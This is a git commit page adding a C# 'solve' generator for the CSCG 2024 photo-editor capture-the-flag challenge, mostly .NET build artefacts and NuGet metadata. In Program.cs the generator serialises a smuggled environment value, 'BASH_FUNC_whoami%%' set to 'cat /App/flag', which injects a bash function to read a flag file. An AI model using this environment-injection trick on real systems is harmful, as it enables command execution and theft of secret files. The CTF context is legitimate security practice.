summaryrefslogtreecommitdiffstats
path: root/solve/Generator
diff options
context:
space:
mode:
authorLouis Burda <quent.burda@gmail.com>2024-04-19 00:55:07 +0200
committerLouis Burda <quent.burda@gmail.com>2024-04-19 00:55:07 +0200
commitebb26ae709570a84004c27f34e9307c33ac6b000 (patch)
treeba83f56ec65986cab387c97b771cd0a26e566c60 /solve/Generator
parent84e77e74c8d69b33a25938a46700b67a3e835c88 (diff)
downloadcscg24-photoeditor-master.tar.gz
cscg24-photoeditor-master.zip
Add SolutionHEADmaster
Diffstat (limited to 'solve/Generator')
-rw-r--r--solve/Generator/Generator.csproj14
-rw-r--r--solve/Generator/Program.cs42
-rwxr-xr-xsolve/Generator/bin/Debug/net8.0/Generatorbin0 -> 77288 bytes
-rw-r--r--solve/Generator/bin/Debug/net8.0/Generator.deps.json41
-rw-r--r--solve/Generator/bin/Debug/net8.0/Generator.dllbin0 -> 7168 bytes
-rw-r--r--solve/Generator/bin/Debug/net8.0/Generator.pdbbin0 -> 11096 bytes
-rw-r--r--solve/Generator/bin/Debug/net8.0/Generator.runtimeconfig.json12
-rwxr-xr-xsolve/Generator/bin/Debug/net8.0/Newtonsoft.Json.dllbin0 -> 712464 bytes
-rw-r--r--solve/Generator/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs4
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfo.cs22
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfoInputs.cache1
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.GeneratedMSBuildEditorConfig.editorconfig13
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.GlobalUsings.g.cs8
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.assets.cachebin0 -> 856 bytes
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.csproj.AssemblyReference.cachebin0 -> 429 bytes
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.csproj.CopyComplete0
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.csproj.CoreCompileInputs.cache1
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.csproj.FileListAbsolute.txt17
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.dllbin0 -> 7168 bytes
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.genruntimeconfig.cache1
-rw-r--r--solve/Generator/obj/Debug/net8.0/Generator.pdbbin0 -> 11096 bytes
-rwxr-xr-xsolve/Generator/obj/Debug/net8.0/apphostbin0 -> 77288 bytes
-rw-r--r--solve/Generator/obj/Debug/net8.0/ref/Generator.dllbin0 -> 5632 bytes
-rw-r--r--solve/Generator/obj/Debug/net8.0/refint/Generator.dllbin0 -> 5632 bytes
-rw-r--r--solve/Generator/obj/Generator.csproj.nuget.dgspec.json73
-rw-r--r--solve/Generator/obj/Generator.csproj.nuget.g.props15
-rw-r--r--solve/Generator/obj/Generator.csproj.nuget.g.targets2
-rw-r--r--solve/Generator/obj/project.assets.json125
-rw-r--r--solve/Generator/obj/project.nuget.cache11
29 files changed, 402 insertions, 0 deletions
diff --git a/solve/Generator/Generator.csproj b/solve/Generator/Generator.csproj
new file mode 100644
index 0000000..af748c0
--- /dev/null
+++ b/solve/Generator/Generator.csproj
@@ -0,0 +1,14 @@
+<Project Sdk="Microsoft.NET.Sdk">
+
+ <PropertyGroup>
+ <OutputType>Exe</OutputType>
+ <TargetFramework>net8.0</TargetFramework>
+ <ImplicitUsings>enable</ImplicitUsings>
+ <Nullable>enable</Nullable>
+ </PropertyGroup>
+
+ <ItemGroup>
+ <PackageReference Include="Newtonsoft.Json" Version="13.0.3" />
+ </ItemGroup>
+
+</Project>
diff --git a/solve/Generator/Program.cs b/solve/Generator/Program.cs
new file mode 100644
index 0000000..22879c1
--- /dev/null
+++ b/solve/Generator/Program.cs
@@ -0,0 +1,42 @@
+using Newtonsoft.Json;
+
+namespace Program {
+
+class Program {
+static Type GetTypeByName(String name) {
+ return AppDomain.CurrentDomain.GetAssemblies()
+ .Reverse()
+ .Select(assembly => assembly.GetType(name))
+ .FirstOrDefault(t => t != null);
+}
+
+public String testfn(Dictionary<String,String> ina) {
+ Console.WriteLine(this);
+ return "Testing";
+}
+
+static void Main(String[] args) {
+// See https://aka.ms/new-console-template for more information
+ var env = new Dictionary<String, String>();
+ env.Add("BASH_FUNC_whoami%%", "cat /App/flag");
+ String serialized = JsonConvert.SerializeObject(env);
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary`2[System.String,System.String]"));
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary[System.String, System.String]"));
+ Console.WriteLine(">",GetTypeByName("Dictionary<String,String>"));
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary"));
+ Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary<System.String,System.String>"));
+ Console.WriteLine(">",AppDomain.CurrentDomain.GetAssemblies().ToString());
+ var test = JsonConvert.DeserializeObject(serialized, GetTypeByName("System.Collections.Generic.Dictionary"));
+ var array = "[" + test + "]";
+ var test2 = JsonConvert.DeserializeObject<object[]>(array);
+ var test3 = JsonConvert.DeserializeObject(JsonConvert.SerializeObject(test2), GetTypeByName("Dictionary<String, String>"));
+
+ var program = new Program();
+ program.GetType().GetMethod("testfn").Invoke(program, [test]);
+ Console.WriteLine(test);
+ Console.WriteLine(test2);
+ Console.WriteLine(test3);
+ Console.WriteLine(serialized);
+}
+}
+}
diff --git a/solve/Generator/bin/Debug/net8.0/Generator b/solve/Generator/bin/Debug/net8.0/Generator
new file mode 100755
index 0000000..94b2569
--- /dev/null
+++ b/solve/Generator/bin/Debug/net8.0/Generator
Binary files differ
diff --git a/solve/Generator/bin/Debug/net8.0/Generator.deps.json b/solve/Generator/bin/Debug/net8.0/Generator.deps.json
new file mode 100644
index 0000000..da55119
--- /dev/null
+++ b/solve/Generator/bin/Debug/net8.0/Generator.deps.json
@@ -0,0 +1,41 @@
+{
+ "runtimeTarget": {
+ "name": ".NETCoreApp,Version=v8.0",
+ "signature": ""
+ },
+ "compilationOptions": {},
+ "targets": {
+ ".NETCoreApp,Version=v8.0": {
+ "Generator/1.0.0": {
+ "dependencies": {
+ "Newtonsoft.Json": "13.0.3"
+ },
+ "runtime": {
+ "Generator.dll": {}
+ }
+ },
+ "Newtonsoft.Json/13.0.3": {
+ "runtime": {
+ "lib/net6.0/Newtonsoft.Json.dll": {
+ "assemblyVersion": "13.0.0.0",
+ "fileVersion": "13.0.3.27908"
+ }
+ }
+ }
+ }
+ },
+ "libraries": {
+ "Generator/1.0.0": {
+ "type": "project",
+ "serviceable": false,
+ "sha512": ""
+ },
+ "Newtonsoft.Json/13.0.3": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-HrC5BXdl00IP9zeV+0Z848QWPAoCr9P3bDEZguI+gkLcBKAOxix/tLEAAHC+UvDNPv4a2d18lOReHMOagPa+zQ==",
+ "path": "newtonsoft.json/13.0.3",
+ "hashPath": "newtonsoft.json.13.0.3.nupkg.sha512"
+ }
+ }
+} \ No newline at end of file
diff --git a/solve/Generator/bin/Debug/net8.0/Generator.dll b/solve/Generator/bin/Debug/net8.0/Generator.dll
new file mode 100644
index 0000000..aee1034
--- /dev/null
+++ b/solve/Generator/bin/Debug/net8.0/Generator.dll
Binary files differ
diff --git a/solve/Generator/bin/Debug/net8.0/Generator.pdb b/solve/Generator/bin/Debug/net8.0/Generator.pdb
new file mode 100644
index 0000000..f12dc01
--- /dev/null
+++ b/solve/Generator/bin/Debug/net8.0/Generator.pdb
Binary files differ
diff --git a/solve/Generator/bin/Debug/net8.0/Generator.runtimeconfig.json b/solve/Generator/bin/Debug/net8.0/Generator.runtimeconfig.json
new file mode 100644
index 0000000..becfaea
--- /dev/null
+++ b/solve/Generator/bin/Debug/net8.0/Generator.runtimeconfig.json
@@ -0,0 +1,12 @@
+{
+ "runtimeOptions": {
+ "tfm": "net8.0",
+ "framework": {
+ "name": "Microsoft.NETCore.App",
+ "version": "8.0.0"
+ },
+ "configProperties": {
+ "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
+ }
+ }
+} \ No newline at end of file
diff --git a/solve/Generator/bin/Debug/net8.0/Newtonsoft.Json.dll b/solve/Generator/bin/Debug/net8.0/Newtonsoft.Json.dll
new file mode 100755
index 0000000..d035c38
--- /dev/null
+++ b/solve/Generator/bin/Debug/net8.0/Newtonsoft.Json.dll
Binary files differ
diff --git a/solve/Generator/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs b/solve/Generator/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs
new file mode 100644
index 0000000..2217181
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfo.cs b/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfo.cs
new file mode 100644
index 0000000..5e45b4a
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfo.cs
@@ -0,0 +1,22 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+// This code was generated by a tool.
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+using System;
+using System.Reflection;
+
+[assembly: System.Reflection.AssemblyCompanyAttribute("Generator")]
+[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
+[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
+[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0+84e77e74c8d69b33a25938a46700b67a3e835c88")]
+[assembly: System.Reflection.AssemblyProductAttribute("Generator")]
+[assembly: System.Reflection.AssemblyTitleAttribute("Generator")]
+[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
+
+// Generated by the MSBuild WriteCodeFragment class.
+
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfoInputs.cache b/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfoInputs.cache
new file mode 100644
index 0000000..6002021
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfoInputs.cache
@@ -0,0 +1 @@
+c4fcdaca885480095d5156d361c105356e5d0e5069c4a9eff37c1db84b196ed6
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.GeneratedMSBuildEditorConfig.editorconfig b/solve/Generator/obj/Debug/net8.0/Generator.GeneratedMSBuildEditorConfig.editorconfig
new file mode 100644
index 0000000..194f14c
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.GeneratedMSBuildEditorConfig.editorconfig
@@ -0,0 +1,13 @@
+is_global = true
+build_property.TargetFramework = net8.0
+build_property.TargetPlatformMinVersion =
+build_property.UsingMicrosoftNETSdkWeb =
+build_property.ProjectTypeGuids =
+build_property.InvariantGlobalization =
+build_property.PlatformNeutralAssembly =
+build_property.EnforceExtendedAnalyzerRules =
+build_property._SupportedPlatformList = Linux,macOS,Windows
+build_property.RootNamespace = Generator
+build_property.ProjectDir = /home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/
+build_property.EnableComHosting =
+build_property.EnableGeneratedComInterfaceComImportInterop =
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.GlobalUsings.g.cs b/solve/Generator/obj/Debug/net8.0/Generator.GlobalUsings.g.cs
new file mode 100644
index 0000000..8578f3d
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.GlobalUsings.g.cs
@@ -0,0 +1,8 @@
+// <auto-generated/>
+global using global::System;
+global using global::System.Collections.Generic;
+global using global::System.IO;
+global using global::System.Linq;
+global using global::System.Net.Http;
+global using global::System.Threading;
+global using global::System.Threading.Tasks;
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.assets.cache b/solve/Generator/obj/Debug/net8.0/Generator.assets.cache
new file mode 100644
index 0000000..28e288a
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.assets.cache
Binary files differ
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.csproj.AssemblyReference.cache b/solve/Generator/obj/Debug/net8.0/Generator.csproj.AssemblyReference.cache
new file mode 100644
index 0000000..29a3a3c
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.csproj.AssemblyReference.cache
Binary files differ
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.csproj.CopyComplete b/solve/Generator/obj/Debug/net8.0/Generator.csproj.CopyComplete
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.csproj.CopyComplete
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.csproj.CoreCompileInputs.cache b/solve/Generator/obj/Debug/net8.0/Generator.csproj.CoreCompileInputs.cache
new file mode 100644
index 0000000..8f55d93
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+a278c7813e6d3a3b2464f881165cec2e0822c1714f22f938b4192823d4b1afb9
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.csproj.FileListAbsolute.txt b/solve/Generator/obj/Debug/net8.0/Generator.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..9c0c687
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.csproj.FileListAbsolute.txt
@@ -0,0 +1,17 @@
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/bin/Debug/net8.0/Generator
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/bin/Debug/net8.0/Generator.deps.json
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/bin/Debug/net8.0/Generator.runtimeconfig.json
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/bin/Debug/net8.0/Generator.dll
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/bin/Debug/net8.0/Generator.pdb
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.GeneratedMSBuildEditorConfig.editorconfig
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfoInputs.cache
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.AssemblyInfo.cs
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.csproj.CoreCompileInputs.cache
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.dll
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/refint/Generator.dll
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.pdb
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.genruntimeconfig.cache
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/ref/Generator.dll
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/bin/Debug/net8.0/Newtonsoft.Json.dll
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.csproj.AssemblyReference.cache
+/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/Debug/net8.0/Generator.csproj.CopyComplete
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.dll b/solve/Generator/obj/Debug/net8.0/Generator.dll
new file mode 100644
index 0000000..aee1034
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.dll
Binary files differ
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.genruntimeconfig.cache b/solve/Generator/obj/Debug/net8.0/Generator.genruntimeconfig.cache
new file mode 100644
index 0000000..ec8f0f0
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.genruntimeconfig.cache
@@ -0,0 +1 @@
+c17aa5d82529308f8450714f091e3fe68de591b941cdc34358e7c5d40da7b7fb
diff --git a/solve/Generator/obj/Debug/net8.0/Generator.pdb b/solve/Generator/obj/Debug/net8.0/Generator.pdb
new file mode 100644
index 0000000..f12dc01
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/Generator.pdb
Binary files differ
diff --git a/solve/Generator/obj/Debug/net8.0/apphost b/solve/Generator/obj/Debug/net8.0/apphost
new file mode 100755
index 0000000..94b2569
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/apphost
Binary files differ
diff --git a/solve/Generator/obj/Debug/net8.0/ref/Generator.dll b/solve/Generator/obj/Debug/net8.0/ref/Generator.dll
new file mode 100644
index 0000000..4c75ce5
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/ref/Generator.dll
Binary files differ
diff --git a/solve/Generator/obj/Debug/net8.0/refint/Generator.dll b/solve/Generator/obj/Debug/net8.0/refint/Generator.dll
new file mode 100644
index 0000000..4c75ce5
--- /dev/null
+++ b/solve/Generator/obj/Debug/net8.0/refint/Generator.dll
Binary files differ
diff --git a/solve/Generator/obj/Generator.csproj.nuget.dgspec.json b/solve/Generator/obj/Generator.csproj.nuget.dgspec.json
new file mode 100644
index 0000000..04049ac
--- /dev/null
+++ b/solve/Generator/obj/Generator.csproj.nuget.dgspec.json
@@ -0,0 +1,73 @@
+{
+ "format": 1,
+ "restore": {
+ "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/Generator.csproj": {}
+ },
+ "projects": {
+ "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/Generator.csproj": {
+ "version": "1.0.0",
+ "restore": {
+ "projectUniqueName": "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/Generator.csproj",
+ "projectName": "Generator",
+ "projectPath": "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/Generator.csproj",
+ "packagesPath": "/home/snx/.nuget/packages/",
+ "outputPath": "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/",
+ "projectStyle": "PackageReference",
+ "configFilePaths": [
+ "/home/snx/.nuget/NuGet/NuGet.Config"
+ ],
+ "originalTargetFrameworks": [
+ "net8.0"
+ ],
+ "sources": {
+ "https://api.nuget.org/v3/index.json": {}
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "projectReferences": {}
+ }
+ },
+ "warningProperties": {
+ "warnAsError": [
+ "NU1605"
+ ]
+ }
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "dependencies": {
+ "Newtonsoft.Json": {
+ "target": "Package",
+ "version": "[13.0.3, )"
+ }
+ },
+ "imports": [
+ "net461",
+ "net462",
+ "net47",
+ "net471",
+ "net472",
+ "net48",
+ "net481"
+ ],
+ "assetTargetFallback": true,
+ "warn": true,
+ "downloadDependencies": [
+ {
+ "name": "Microsoft.AspNetCore.App.Ref",
+ "version": "[8.0.4, 8.0.4]"
+ }
+ ],
+ "frameworkReferences": {
+ "Microsoft.NETCore.App": {
+ "privateAssets": "all"
+ }
+ },
+ "runtimeIdentifierGraphPath": "/usr/share/dotnet/sdk/8.0.104/PortableRuntimeIdentifierGraph.json"
+ }
+ }
+ }
+ }
+} \ No newline at end of file
diff --git a/solve/Generator/obj/Generator.csproj.nuget.g.props b/solve/Generator/obj/Generator.csproj.nuget.g.props
new file mode 100644
index 0000000..46cc305
--- /dev/null
+++ b/solve/Generator/obj/Generator.csproj.nuget.g.props
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="utf-8" standalone="no"?>
+<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
+ <RestoreSuccess Condition=" '$(RestoreSuccess)' == '' ">True</RestoreSuccess>
+ <RestoreTool Condition=" '$(RestoreTool)' == '' ">NuGet</RestoreTool>
+ <ProjectAssetsFile Condition=" '$(ProjectAssetsFile)' == '' ">$(MSBuildThisFileDirectory)project.assets.json</ProjectAssetsFile>
+ <NuGetPackageRoot Condition=" '$(NuGetPackageRoot)' == '' ">/home/snx/.nuget/packages/</NuGetPackageRoot>
+ <NuGetPackageFolders Condition=" '$(NuGetPackageFolders)' == '' ">/home/snx/.nuget/packages/</NuGetPackageFolders>
+ <NuGetProjectStyle Condition=" '$(NuGetProjectStyle)' == '' ">PackageReference</NuGetProjectStyle>
+ <NuGetToolVersion Condition=" '$(NuGetToolVersion)' == '' ">6.8.1</NuGetToolVersion>
+ </PropertyGroup>
+ <ItemGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
+ <SourceRoot Include="/home/snx/.nuget/packages/" />
+ </ItemGroup>
+</Project> \ No newline at end of file
diff --git a/solve/Generator/obj/Generator.csproj.nuget.g.targets b/solve/Generator/obj/Generator.csproj.nuget.g.targets
new file mode 100644
index 0000000..3dc06ef
--- /dev/null
+++ b/solve/Generator/obj/Generator.csproj.nuget.g.targets
@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="utf-8" standalone="no"?>
+<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" /> \ No newline at end of file
diff --git a/solve/Generator/obj/project.assets.json b/solve/Generator/obj/project.assets.json
new file mode 100644
index 0000000..7c66d3d
--- /dev/null
+++ b/solve/Generator/obj/project.assets.json
@@ -0,0 +1,125 @@
+{
+ "version": 3,
+ "targets": {
+ "net8.0": {
+ "Newtonsoft.Json/13.0.3": {
+ "type": "package",
+ "compile": {
+ "lib/net6.0/Newtonsoft.Json.dll": {
+ "related": ".xml"
+ }
+ },
+ "runtime": {
+ "lib/net6.0/Newtonsoft.Json.dll": {
+ "related": ".xml"
+ }
+ }
+ }
+ }
+ },
+ "libraries": {
+ "Newtonsoft.Json/13.0.3": {
+ "sha512": "HrC5BXdl00IP9zeV+0Z848QWPAoCr9P3bDEZguI+gkLcBKAOxix/tLEAAHC+UvDNPv4a2d18lOReHMOagPa+zQ==",
+ "type": "package",
+ "path": "newtonsoft.json/13.0.3",
+ "files": [
+ ".nupkg.metadata",
+ ".signature.p7s",
+ "LICENSE.md",
+ "README.md",
+ "lib/net20/Newtonsoft.Json.dll",
+ "lib/net20/Newtonsoft.Json.xml",
+ "lib/net35/Newtonsoft.Json.dll",
+ "lib/net35/Newtonsoft.Json.xml",
+ "lib/net40/Newtonsoft.Json.dll",
+ "lib/net40/Newtonsoft.Json.xml",
+ "lib/net45/Newtonsoft.Json.dll",
+ "lib/net45/Newtonsoft.Json.xml",
+ "lib/net6.0/Newtonsoft.Json.dll",
+ "lib/net6.0/Newtonsoft.Json.xml",
+ "lib/netstandard1.0/Newtonsoft.Json.dll",
+ "lib/netstandard1.0/Newtonsoft.Json.xml",
+ "lib/netstandard1.3/Newtonsoft.Json.dll",
+ "lib/netstandard1.3/Newtonsoft.Json.xml",
+ "lib/netstandard2.0/Newtonsoft.Json.dll",
+ "lib/netstandard2.0/Newtonsoft.Json.xml",
+ "newtonsoft.json.13.0.3.nupkg.sha512",
+ "newtonsoft.json.nuspec",
+ "packageIcon.png"
+ ]
+ }
+ },
+ "projectFileDependencyGroups": {
+ "net8.0": [
+ "Newtonsoft.Json >= 13.0.3"
+ ]
+ },
+ "packageFolders": {
+ "/home/snx/.nuget/packages/": {}
+ },
+ "project": {
+ "version": "1.0.0",
+ "restore": {
+ "projectUniqueName": "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/Generator.csproj",
+ "projectName": "Generator",
+ "projectPath": "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/Generator.csproj",
+ "packagesPath": "/home/snx/.nuget/packages/",
+ "outputPath": "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/obj/",
+ "projectStyle": "PackageReference",
+ "configFilePaths": [
+ "/home/snx/.nuget/NuGet/NuGet.Config"
+ ],
+ "originalTargetFrameworks": [
+ "net8.0"
+ ],
+ "sources": {
+ "https://api.nuget.org/v3/index.json": {}
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "projectReferences": {}
+ }
+ },
+ "warningProperties": {
+ "warnAsError": [
+ "NU1605"
+ ]
+ }
+ },
+ "frameworks": {
+ "net8.0": {
+ "targetAlias": "net8.0",
+ "dependencies": {
+ "Newtonsoft.Json": {
+ "target": "Package",
+ "version": "[13.0.3, )"
+ }
+ },
+ "imports": [
+ "net461",
+ "net462",
+ "net47",
+ "net471",
+ "net472",
+ "net48",
+ "net481"
+ ],
+ "assetTargetFallback": true,
+ "warn": true,
+ "downloadDependencies": [
+ {
+ "name": "Microsoft.AspNetCore.App.Ref",
+ "version": "[8.0.4, 8.0.4]"
+ }
+ ],
+ "frameworkReferences": {
+ "Microsoft.NETCore.App": {
+ "privateAssets": "all"
+ }
+ },
+ "runtimeIdentifierGraphPath": "/usr/share/dotnet/sdk/8.0.104/PortableRuntimeIdentifierGraph.json"
+ }
+ }
+ }
+} \ No newline at end of file
diff --git a/solve/Generator/obj/project.nuget.cache b/solve/Generator/obj/project.nuget.cache
new file mode 100644
index 0000000..e6df32c
--- /dev/null
+++ b/solve/Generator/obj/project.nuget.cache
@@ -0,0 +1,11 @@
+{
+ "version": 2,
+ "dgSpecHash": "3w+YHwTVYVLLr0WP+oS0y+K++LUx/wFOC4PKSRbicKkZNeitamnrzZb9Y9WTOaqgxpnGhNfNX/KTKvE4juNYvQ==",
+ "success": true,
+ "projectFilePath": "/home/snx/dev/ctf-cscg-2024-photo-editor/solve/Generator/Generator.csproj",
+ "expectedPackageFiles": [
+ "/home/snx/.nuget/packages/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg.sha512",
+ "/home/snx/.nuget/packages/microsoft.aspnetcore.app.ref/8.0.4/microsoft.aspnetcore.app.ref.8.0.4.nupkg.sha512"
+ ],
+ "logs": []
+} \ No newline at end of file